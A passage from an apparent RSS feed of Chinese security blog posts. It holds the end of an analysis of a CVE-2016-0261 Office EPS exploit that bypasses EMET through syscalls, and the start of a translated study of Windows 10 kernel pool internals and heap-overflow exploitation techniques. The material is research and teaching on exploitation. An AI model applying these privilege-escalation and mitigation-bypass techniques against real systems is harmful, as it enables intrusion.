src="https://wechat2rss.xlab.app/img-proxy/?k=1914c8e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAIRpFHlBkOyIpmDJ77Thvsw5WYWUK0ibrXUU5ZCZsKG5Jzlka0OA2AAYg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">shellcode 由于样本采用了 PE 文件落地的方式，容易被查杀，因此修改 shellcode 采取 syscall 的方式直接写注册表自启项，最终成功绕过了 EAF：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5219976218787158" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1682" src="https://wechat2rss.xlab.app/img-proxy/?k=ebdf07ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAIm3Y1dCjkibMPzGftiaS32KiaF3iatTpejuRmGR3Fk33L6jqicg86sHwgQOw%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>总结</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">CVE-2015-2545 是 EPS 文件解析类的首个漏洞，CVE-2016-0261 无论是在漏洞触发和漏洞利用上都和该漏洞十分相似，连辅助函数都基本和 2545 保持一致。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">不同的是该样本通过 syscall 绕过了 EMET 对于关键函数的 hook，这种绕过的思路可以应用在其他具有能读写任意内存的读写原语的漏洞中。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">同时 shellcode 也与传统的从 PEB 结构直接获取 kernerl32.dll 的基地址不同，通过 SEH 链获取 msvcrt.dll 的基地址在获取导入表函数地址绕过 EAF，这种利用都是值得借鉴的。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>参考链接</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[1]
野外的 CVE-2015-2545 逃逸了 EMET: <em><a href="https://bbs.pediy.com/thread-216046.htm" target="_blank">https://bbs.pediy.com/thread-216046.htm</a></em></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[2]
CVE-2015-2545 Word 利用样本分析: <em><a href="https://paper.seebug.org/368/" target="_blank">https://paper.seebug.org/368/</a></em></p></section><p><br/></p>



<p><a href="2247484386">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=db74a9de&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247484386%26idx%3D1%26sn%3D3a9cee16f921c88a8b64130aa1aee21c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 19 Nov 2021 18:02:00 +0800</pubDate>
    </item>
    <item>
      <title>Scoop the Windows 10 pool! 翻译 &amp; 复现</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247484343&amp;idx=1&amp;sn=1d51e488070dc925e35e2773bd0105db</link>
      <description>堆溢出是应用程序中相当常见的漏洞。利用这些漏洞通常需要对堆的底层管理机制非常了解。Windows10最近改变了内核中堆的管理方式，本文旨在介绍Windows NT内核堆管理机制的最新发展，同时介绍对内核池的新的利用技术</description>
      <content:encoded><![CDATA[<p>
原创 <span>Muoziiy</span> <span>2021-10-18 21:03</span> <span style="display: inline-block;"></span>
</p>

<p>堆溢出是应用程序中相当常见的漏洞。利用这些漏洞通常需要对堆的底层管理机制非常了解。Windows10最近改变了内核中堆的管理方式，本文旨在介绍Windows NT内核堆管理机制的最新发展，同时介绍对内核池的新的利用技术</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=968c1fe2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzcPxc283QrnJol0MnWZNR09ufEtRGP50Yvm9hL9QLPshNT08g0BVDorQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在野利用的CVE-2021-31956样本，利用过程中使用了WNF来获取任意地址读写原语，但由于我对WNF不熟悉，所以暂时没有看WNF这块的内容。那么最终我是通过Scoop the Windows 10 pool这篇文章中的思路实现了CVE-2021-31956的利用，利用过程基本和这篇文章一致，区别可能就是申请漏洞块并实现溢出那里需要自行研究一下。由于众所周知的原因，这里不对CVE-2021-31956进行分析，而是对这篇文章进行翻译并对其中的demo进行了分析和复现。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">由于本人对内核这块的研究时间不长，对Windows内部机制的理解也不够深入，且英文水平有限，所以翻译和复现的过程中，难免会出现一些错误和理解不到位的地方，如果你发现了任何问题，请与作者联系。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">原文及DEMO地址：<a href="https://github.com/synacktiv/Windows-kernel-SegmentHeap-Aligned-Chunk-Confusion" target="_blank">https://github.com/synacktiv/Windows-kernel-SegmentHeap-Aligned-Chunk-Confusion</a></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>摘要<span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">堆溢出是应用程序中相当常见的漏洞。利用这些漏洞通常需要对堆的底层管理机制非常了解。Windows10最近改变了内核中堆的管理方式，本文旨在介绍Windows NT内核堆管理机制的最新发展，同时介绍对内核池的新的利用技术。</p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>1 介绍<span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">池是Windows系统为内核层保留的堆空间。多年来，池内存的分配一直非常具体，且与用户层的分配是不同的。自2019年3月，Windows 10更新了19H1以来，这一切都改变了。在用户层众所周知，且已经文档化的段堆被引入内核。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但是，内核层实现的分配器和用户层实现的分配器仍然存在一些不同，因为内核层仍然需要一些特定的材料。本文从利用的角度出发，重点讨论内核段堆自定义内部结构。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">文章中介绍的研究内容是针对x64架构的，对于不同的架构需要进行哪些调整尚未研究。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在简单的介绍了池内部结构的历史之后，本文将说明段堆在内核中是如何实现的，以及对内核池特定材料有什么影响。然后，本文将介绍一种利用内核池中堆溢出漏洞对池内部进行攻击的新技术。最后，将介绍一种通用的利用手法，它使用了最小的受控堆溢出，并允许本地特权从低完整性级别升级到SYSTEM。</p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>1.1 池内部<span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">本文不会深入讨论池分配器的内部结构，因为这个主题已经被广泛地讨论过了 [5]，但是为了全面理解这篇文章，还是需要快速地回顾一下一些内部结构。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">本节将介绍 Windows 7 中的一些池内部结构，以及过去几年中对池进行的各种缓解和更改。这里说明的内部结构将聚焦在适合单个页面的块上，这是内核中最常见的分配。大于0xFE0的分配行为不在今天的讨论范围内。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>在池中分配内存</strong> Windows内核中，分配和释放池内存的主要函数分别是ExAllocatePoolWithTag和ExFreePoolWithTag。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">void</span> * <span style="color: #61aeee;line-height: 26px;">ExAllocatePoolWithTag</span> <span style="line-height: 26px;">(<br/>    POOL_TYPE PoolType ,<br/> <span style="color: #c678dd;line-height: 26px;">size_t</span> NumberOfBytes ,<br/> <span style="color: #c678dd;line-height: 26px;">unsigned</span> <span style="color: #c678dd;line-height: 26px;">int</span> Tag<br/>)</span></span>;<br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">void</span> <span style="color: #61aeee;line-height: 26px;">ExFreePoolWithTag</span> <span style="line-height: 26px;">(<br/>    <span style="color: #c678dd;line-height: 26px;">void</span> * P, <br/>    <span style="color: #c678dd;line-height: 26px;">unsigned</span> <span style="color: #c678dd;line-height: 26px;">int</span> Tag<br/>)</span></span>;<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">PoolType是一个位域，与下面列举的值关联</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">NonPagedPool = 0<br/>PagedPool = 1<br/>NonPagedPoolMustSucceed = 2<br/>DontUseThisType = 3<br/>NonPagedPoolCacheAligned = 4<br/>PagedPoolCacheAligned = 5<br/>NonPagedPoolCacheAlignedMustSucceed = 6<br/>MaxPoolType = 7<br/>PoolQuota = 8<br/>NonPagedPoolSession = 20h<br/>PagedPoolSession = 21h<br/>NonPagedPoolMustSucceedSession = 22h<br/>DontUseThisTypeSession = 23h<br/>NonPagedPoolCacheAlignedSession = 24h<br/>PagedPoolCacheAlignedSession = 25h<br/>NonPagedPoolCacheAlignedMustSSession = 26h<br/>NonPagedPoolNx = 200h<br/>NonPagedPoolNxCacheAligned = 204h<br/>NonPagedPoolSessionNx = 220h<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">PoolType中可以存储若干信息：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">使用的内存类型，可以是NonPagedPool、PagedPool、SessionPool或NonPagedPoolNx；</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">如果分配是关键的（bit 1）并且必须成功。那么当分配失败，就会触发BugCheck；</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">如果分配与缓存大小对齐（bit 2）</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">如果分配使用了PoolQuota机制(bit 3)</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">其他未文档化的机制</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">使用的内存类型很重要，因为它隔离了不同内存范围中的分配。使用的两种主要内存类型是PagedPool和NonPagedPool。MSDN文档将其描述如下：</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">非分页池（NonpagedPool）是不可分页的系统内存，它可以从任何IRQL访问，但非分页内存是一种稀缺资源，驱动程序应当在必须使用时才去分配非分页内存。分页池（Paged）是可分页的系统内存，只能在IRQL&lt;DISPATCH_LEVEL时分配和访问。</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如1.2节所述，在Win8中引入了NonPagedPoolNx，必须使用它来替代NonpagedPool。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">SessionPool用于会话空间的分配，对每个用户会话都是唯一的，主要在win32k中使用。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">最后，Tag是一个1到4个字符的非零字符文本（例如，“Tag1”）。建议内核开发人员按代码路径使用唯一的Tag，以帮助调试器和验证器识别代码路径。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>POOL_HEADER</strong> 在池中，适合单个页面的所有块都以POOL_HEADER结构开头，POOL_HEADER包含分配器所需信息和Tag信息。当试图在Windows内核中利用堆溢出漏洞时，首先要覆盖的就是POOL_HEADER结构。攻击者有两个选择：重写一个正确的POOL_HEADER结构，并用来攻击下一个块的数据，或者直接攻击POOL_HEADER结构。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">不管用哪种攻击方法，POOL_HEADER都会被覆盖，同时需要对POOL_HEADER的每个字段及其如何使用非常了解，才能够利用这种漏洞。本文将主要关注直接攻击POOL_HEADER。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;">//Windows 1809 中简化的 POOL_HEADER 结构</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">struct</span> <span style="color: #e6c07b;line-height: 26px;">POOL_HEADER</span><br/>{</span><br/> <span style="color: #c678dd;line-height: 26px;">char</span> PreviousSize;<br/> <span style="color: #c678dd;line-height: 26px;">char</span> PoolIndex;<br/> <span style="color: #c678dd;line-height: 26px;">char</span> BlockSize;<br/> <span style="color: #c678dd;line-height: 26px;">char</span> PoolType;<br/> <span style="color: #c678dd;line-height: 26px;">int</span> PoolTag;<br/> Ptr64 ProcessBilled ;<br/>};<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">POOL_HEADER的结构在过去的一段时间里，略微有些变化，但始终保持着一些主要字段。在Windows 1809，19H1之前，所有的字段都会被用到。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">PreviousSize：之前的块的大小除以16<br/>PoolIndex：PoolDescriptor数组中的索引<br/>BlockSize：当前分配的大小除以16<br/>PoolType：包含分配类型信息的位域<br/>ProcessBilled：指向分配内存的进程的KPROCESS的指针，只有PoolType中包含PoolQuota标志时，才设置此字段。<br/></code></pre><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>1.2 自win7开始的攻击和缓解措施<span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">Tarjei Mandt及其论文《Windows 7上的内核池攻击》[5]是针对内核池攻击的参考资料。它展示了整个池的内部结构和众多的攻击，其中一些攻击的目标是POOL_HEADER。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>Quota Process Pointer Overwrite</strong> 分配可以针对给定进程收取配额（这里不知道怎么翻译，只能直译了）。为此，ExAllocatePoolWithQuotaTag将利用POOL_HEADER中的ProcessBilled字段来存储指向负责分配的进程的_KPROCESS的指针。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在本文中，攻击被描述为 Quota Process Pointer Overwrite（配额进程指针覆盖）。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">攻击利用堆溢出来覆盖已分配的块的POOL_HEADER中的ProcessBilled指针，当块被释放时，如果块的PoolType包含PoolQuota（0x8）标志，那么ProcessBilled字段存储的指针将被用于解引用一个值。所以控制ProcessBilled指针可以提供一个任意指针解引用原语。这足以从用户态实现权限提升。图1展示了这种攻击。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000606" data-ratio="0.26597744360902253" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1064" src="https://wechat2rss.xlab.app/img-proxy/?k=0c96d3c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzc76fTibAlarpajrQbmm5riatuj5b8q8ibzkXUMAfF54gERKgJpBibGmWJiaw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图1. 利用配额进程指针覆盖进行攻击</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">自Windows 8开始，随着ExpPoolQuotaCookie的引入，这种攻击已经被缓解。Cookie值在系统启动引导阶段生成，用于保护指针不被攻击者覆盖。例如，它对ProcessBilled字段使用XOR运算。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">ProcessBilled = KPROCESS_PTR ^ ExpPoolQuotaCookie ^ CHUNK_ADDR<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当块被释放时，内核将检查编码的指针是否是一个有效的KPROCESS指针。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">process_ptr = (struct _KPROCESS *)(chunk_addr ^ ExpPoolQuotaCookie ^ chunk_addr -&gt;process_billed );<br/><span style="color: #c678dd;line-height: 26px;">if</span> ( process_ptr )<br/>{<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (process_ptr &lt; <span style="color: #d19a66;line-height: 26px;">0xFFFF800000000000</span> || (process_ptr -&gt;Header.Type &amp; <span style="color: #d19a66;line-height: 26px;">0x7F</span>) != <span style="color: #d19a66;line-height: 26px;">3</span> )<br/> KeBugCheckEx ([...])<br/> [...]<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在不知道块的地址和ExpPoolQuotaCookie的情况下，不可能提供一个有效的指针，也就无法实现任意指针解引用。但是，仍然可以通过重写一个正确的POOL_HEADER，且不在PoolType设置PoolQuota标志来实现完整数据攻击。更多关于Quota Process Pointer Overwrite Attack（配额进程指针覆盖攻击）的信息，已经在Nuit du Hack XV会议上进行了讨论[1]。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>NonPagedPoolNx</strong> 在Windows 8中，引入了一种新的池内存类型NonPagedPoolNx。它的工作原理与NonPagedPool完全相同，只是内存页不在是可执行的，从而缓解了所有利用这种内存来存储shellcode的攻击。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">以前使用NonPagedPool完成的分配，现在改用NonPagedPoolNx来实现，但出于与第三方驱动兼容的目的，保留了NonPagedPool类型。即使在今天的Windows 10中，仍然有大量的第三方驱动在使用可执行的NonPagedPool。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">随着时间的推移，各种缓解措施的引入使得利用堆溢出攻击POOL_HEADER不再有趣。现如今，写一个正确的POOL_HEADER并攻击下一个块的数据实现起来更加简单。然而，池中段堆（Segment Heap）的引入改变了POOL_HEADER的使用方式，本文展示了如何在内核池中再次利用堆溢出实现攻击。</p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>2 带有段堆（Segment Heap）的池分配器<span style="display: none;"></span></h4><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>2.1 段堆内部<span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">自Windows 10 19H1开始，段堆被用于内核层，与用户层使用的段堆非常相似。本节旨在介绍段堆的主要功能并关注与用户层使用的不同之处。用户层段堆内部结构的详细说明在[7]中提供。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">就像在用户层使用的一样，段堆旨在根据分配大小的不同提供不同的功能。为此，定义了4个所谓的后端。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">Low Fragmentation Heap(abbr LFH):RtlHpLfhContextAllocate<br/>Variable Size(abbr VS):RtlHpVsContextAllocateInternal<br/>Segment Alloc(abbr Seg):RtlHpSegAlloc<br/>Large Alloc: RtlHpLargeAlloc<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">请求分配的大小和选择的后端之间的映射如图2所示</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000605" data-ratio="0.33482810164424515" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="669" src="https://wechat2rss.xlab.app/img-proxy/?k=cde3e8d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzcRogLdStnTshbAdCSYUNyKv4Uj0LcLP8y5y4OuJdk0VQKTrzbpNpicEg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图2. 分配大小和后端之间的映射</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">前三个后端，Seg，VS，LFH，分别与上下文相关联：_HEAP_SEG_CONTEXT， _HEAP_VS_CONTEXT 和_HEAP_LFH_CONTEXT。后端上下文存储在_SEGMENT_HEAP结构中。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">1: kd &gt; dt nt!_SEGMENT_HEAP<br/>+0 x000 EnvHandle : RTL_HP_ENV_HANDLE<br/>+0 x010 Signature : Uint4B<br/>+0 x014 GlobalFlags : Uint4B<br/>+0 x018 Interceptor : Uint4B<br/>+0 x01c ProcessHeapListIndex : Uint2B<br/>+0 x01e AllocatedFromMetadata : Pos 0, 1 Bit<br/>+0 x020 CommitLimitData : _RTL_HEAP_MEMORY_LIMIT_DATA<br/>+0 x020 ReservedMustBeZero1 : Uint8B<br/>+0 x028 UserContext : Ptr64 Void<br/>+0 x030 